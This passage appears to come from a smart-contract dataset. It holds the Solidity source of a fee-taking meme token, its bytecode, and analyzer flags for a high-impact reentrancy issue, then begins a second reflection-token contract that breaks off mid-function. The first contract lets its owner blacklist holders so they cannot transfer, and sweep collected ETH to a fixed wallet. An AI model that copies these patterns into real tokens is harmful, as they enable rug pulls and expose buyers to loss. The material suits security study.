function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CEO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Cult Elon Organisation";
string private constant _symbol = "CEO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x246B1ABB1131656EC63371D400893bfaA4dB50c0);
_buyTax = 12;
_sellTax = 12;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 12) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 12) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610352578063c3c8cd8014610372578063c9567bf914610387578063dbe8272c1461039c578063dc1052e2146103bc578063dd62ed3e146103dc57600080fd5b8063715018a6146102b45780638da5cb5b146102c957806395d89b41146102f15780639e78fb4f1461031d578063a9059cbb1461033257600080fd5b8063273123b7116100f2578063273123b714610223578063313ce5671461024357806346df33b71461025f5780636fc3eaec1461027f57806370a082311461029457600080fd5b806306fdde031461013a578063095ea7b31461018b57806318160ddd146101bb5780631bbae6e0146101e157806323b872dd1461020357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152601681527521bab63a1022b637b71027b933b0b734b9b0ba34b7b760511b60208201525b6040516101829190611959565b60405180910390f35b34801561019757600080fd5b506101ab6101a63660046117e0565b610422565b6040519015158152602001610182565b3480156101c757600080fd5b5068056bc75e2d631000005b604051908152602001610182565b3480156101ed57600080fd5b506102016101fc366004611912565b610439565b005b34801561020f57600080fd5b506101ab61021e36600461179f565b610485565b34801561022f57600080fd5b5061020161023e36600461172c565b6104ee565b34801561024f57600080fd5b5060405160098152602001610182565b34801561026b57600080fd5b5061020161027a3660046118d8565b610539565b34801561028b57600080fd5b50610201610581565b3480156102a057600080fd5b506101d36102af36600461172c565b6105b5565b3480156102c057600080fd5b506102016105d7565b3480156102d557600080fd5b506000546040516001600160a01b039091168152602001610182565b3480156102fd57600080fd5b5060408051808201909152600381526243454f60e81b6020820152610175565b34801561032957600080fd5b5061020161064b565b34801561033e57600080fd5b506101ab61034d3660046117e0565b61088a565b34801561035e57600080fd5b5061020161036d36600461180c565b610897565b34801561037e57600080fd5b5061020161092d565b34801561039357600080fd5b5061020161096d565b3480156103a857600080fd5b506102016103b7366004611912565b610b35565b3480156103c857600080fd5b506102016103d7366004611912565b610b6d565b3480156103e857600080fd5b506101d36103f7366004611766565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061042f338484610ba5565b5060015b92915050565b6000546001600160a01b0316331461046c5760405162461bcd60e51b8152600401610463906119ae565b60405180910390fd5b6702c68af0bb1400008111156104825760108190555b50565b6000610492848484610cc9565b6104e484336104df85604051806060016040528060288152602001611b45602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ffe565b610ba5565b5060019392505050565b6000546001600160a01b031633146105185760405162461bcd60e51b8152600401610463906119ae565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105635760405162461bcd60e51b8152600401610463906119ae565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105ab5760405162461bcd60e51b8152600401610463906119ae565b4761048281611038565b6001600160a01b03811660009081526002602052604081205461043390611072565b6000546001600160a01b031633146106015760405162461bcd60e51b8152600401610463906119ae565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106755760405162461bcd60e51b8152600401610463906119ae565b600f54600160a01b900460ff16156106cf5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610463565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072f57600080fd5b505afa158015610743573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107679190611749565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107af57600080fd5b505afa1580156107c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e79190611749565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082f57600080fd5b505af1158015610843573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108679190611749565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061042f338484610cc9565b6000546001600160a01b031633146108c15760405162461bcd60e51b8152600401610463906119ae565b60005b8151811015610929576001600660008484815181106108e5576108e5611af5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092181611ac4565b9150506108c4565b5050565b6000546001600160a01b031633146109575760405162461bcd60e51b8152600401610463906119ae565b6000610962306105b5565b9050610482816110f6565b6000546001600160a01b031633146109975760405162461bcd60e51b8152600401610463906119ae565b600e546109b89030906001600160a01b031668056bc75e2d63100000610ba5565b600e546001600160a01b031663f305d71947306109d4816105b5565b6000806109e96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4c57600080fd5b505af1158015610a60573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a85919061192b565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afd57600080fd5b505af1158015610b11573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048291906118f5565b6000546001600160a01b03163314610b5f5760405162461bcd60e51b8152600401610463906119ae565b600c81101561048257600b55565b6000546001600160a01b03163314610b975760405162461bcd60e51b8152600401610463906119ae565b600c81101561048257600c55565b6001600160a01b038316610c075760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610463565b6001600160a01b038216610c685760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610463565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610463565b6001600160a01b038216610d8f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610463565b60008111610df15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610463565b6001600160a01b03831660009081526006602052604090205460ff1615610e1757600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5957506001600160a01b03821660009081526005602052604090205460ff16155b15610fee576000600955600c54600a55600f546001600160a01b038481169116148015610e945750600e546001600160a01b03838116911614155b8015610eb957506001600160a01b03821660009081526005602052604090205460ff16155b8015610ece5750600f54600160b81b900460ff165b15610efb576000610ede836105b5565b601054909150610eee838361127f565b1115610ef957600080fd5b505b600f546001600160a01b038381169116148015610f265750600e546001600160a01b03848116911614155b8015610f4b57506001600160a01b03831660009081526005602052604090205460ff16155b15610f5c576000600955600b54600a555b6000610f67306105b5565b600f54909150600160a81b900460ff16158015610f925750600f546001600160a01b03858116911614155b8015610fa75750600f54600160b01b900460ff165b15610fec576000610fb9600483611a6c565b9050610fc58183611aad565b9150610fd0816112de565b610fd9826110f6565b478015610fe957610fe947611038565b50505b505b610ff9838383611314565b505050565b600081848411156110225760405162461bcd60e51b81526004016104639190611959565b50600061102f8486611aad565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610929573d6000803e3d6000fd5b60006007548211156110d95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610463565b60006110e361131f565b90506110ef8382611342565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113e5761113e611af5565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119257600080fd5b505afa1580156111a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ca9190611749565b816001815181106111dd576111dd611af5565b6001600160a01b039283166020918202929092010152600e546112039130911684610ba5565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061123c9085906000908690309042906004016119e3565b600060405180830381600087803b15801561125657600080fd5b505af115801561126a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061128c8385611a54565b9050838110156110ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610463565b600f805460ff60a81b1916600160a81b1790558015611304576113043061dead83610cc9565b50600f805460ff60a81b19169055565b610ff9838383611384565b600080600061132c61147b565b909250905061133b8282611342565b9250505090565b60006110ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114bd565b600080600080600080611396876114eb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113c89087611548565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113f7908661127f565b6001600160a01b0389166000908152600260205260409020556114198161158a565b61142384836115d4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161146891815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d631000006114978282611342565b8210156114b45750506007549268056bc75e2d6310000092509050565b90939092509050565b600081836114de5760405162461bcd60e51b81526004016104639190611959565b50600061102f8486611a6c565b60008060008060008060008060006115088a600954600a546115f8565b925092509250600061151861131f565b9050600080600061152b8e87878761164d565b919e509c509a509598509396509194505050505091939550919395565b60006110ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ffe565b600061159461131f565b905060006115a2838361169d565b306000908152600260205260409020549091506115bf908261127f565b30600090815260026020526040902055505050565b6007546115e19083611548565b6007556008546115f1908261127f565b6008555050565b6000808080611612606461160c898961169d565b90611342565b90506000611625606461160c8a8961169d565b9050600061163d826116378b86611548565b90611548565b9992985090965090945050505050565b600080808061165c888661169d565b9050600061166a888761169d565b90506000611678888861169d565b9050600061168a826116378686611548565b939b939a50919850919650505050505050565b6000826116ac57506000610433565b60006116b88385611a8e565b9050826116c58583611a6c565b146110ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610463565b803561172781611b21565b919050565b60006020828403121561173e57600080fd5b81356110ef81611b21565b60006020828403121561175b57600080fd5b81516110ef81611b21565b6000806040838503121561177957600080fd5b823561178481611b21565b9150602083013561179481611b21565b809150509250929050565b6000806000606084860312156117b457600080fd5b83356117bf81611b21565b925060208401356117cf81611b21565b929592945050506040919091013590565b600080604083850312156117f357600080fd5b82356117fe81611b21565b946020939093013593505050565b6000602080838503121561181f57600080fd5b823567ffffffffffffffff8082111561183757600080fd5b818501915085601f83011261184b57600080fd5b81358181111561185d5761185d611b0b565b8060051b604051601f19603f8301168101818110858211171561188257611882611b0b565b604052828152858101935084860182860187018a10156118a157600080fd5b600095505b838610156118cb576118b78161171c565b8552600195909501949386019386016118a6565b5098975050505050505050565b6000602082840312156118ea57600080fd5b81356110ef81611b36565b60006020828403121561190757600080fd5b81516110ef81611b36565b60006020828403121561192457600080fd5b5035919050565b60008060006060848603121561194057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119865785810183015185820160400152820161196a565b81811115611998576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a335784516001600160a01b031683529383019391830191600101611a0e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a6757611a67611adf565b500190565b600082611a8957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611aa857611aa8611adf565b500290565b600082821015611abf57611abf611adf565b500390565b6000600019821415611ad857611ad8611adf565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048257600080fd5b801515811461048257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f80f4e7373bd7a4ed225d52b40670d8a8b943c081e8fcb4ced68a8bcdd9aa9b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,129 |
0xeb034b6768699971e63c3033bb42cd775a3b987b
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AimiNeko is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private _name = 'Aimi Neko';
string private _symbol = 'AIMI';
uint8 private _decimals = 9;
uint256 private constant _tenBillion = 10**10;
uint256 private constant _decimalPoints = 10**9;
uint256 private constant _finalTotal = _tenBillion * _decimalPoints;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = _finalTotal;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _maxTxAmount = _tTotal / 100;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
